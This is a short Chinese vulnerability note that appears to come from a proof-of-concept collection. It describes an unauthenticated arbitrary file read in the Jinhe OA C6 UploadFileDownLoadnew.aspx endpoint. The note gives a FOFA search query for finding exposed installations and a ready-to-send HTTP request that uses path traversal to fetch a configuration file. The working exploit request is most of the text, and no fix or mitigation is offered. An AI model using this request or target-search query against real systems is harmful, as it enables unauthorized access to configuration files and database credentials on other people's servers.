金和OA_C6_UploadFileDownLoadnew存在任意文件读取漏洞.md

金和OA_C6_UploadFileDownLoadnew存在任意文件读取漏洞

金和OA C6 UploadFileDownLoadnew.aspx接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

fofa

body="JHSoft.Web.AddMenu" || app="金和网络-金和OA"

poc

GET /c6/JHSoft.Web.CustomQuery/UploadFileDownLoadnew.aspx/?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close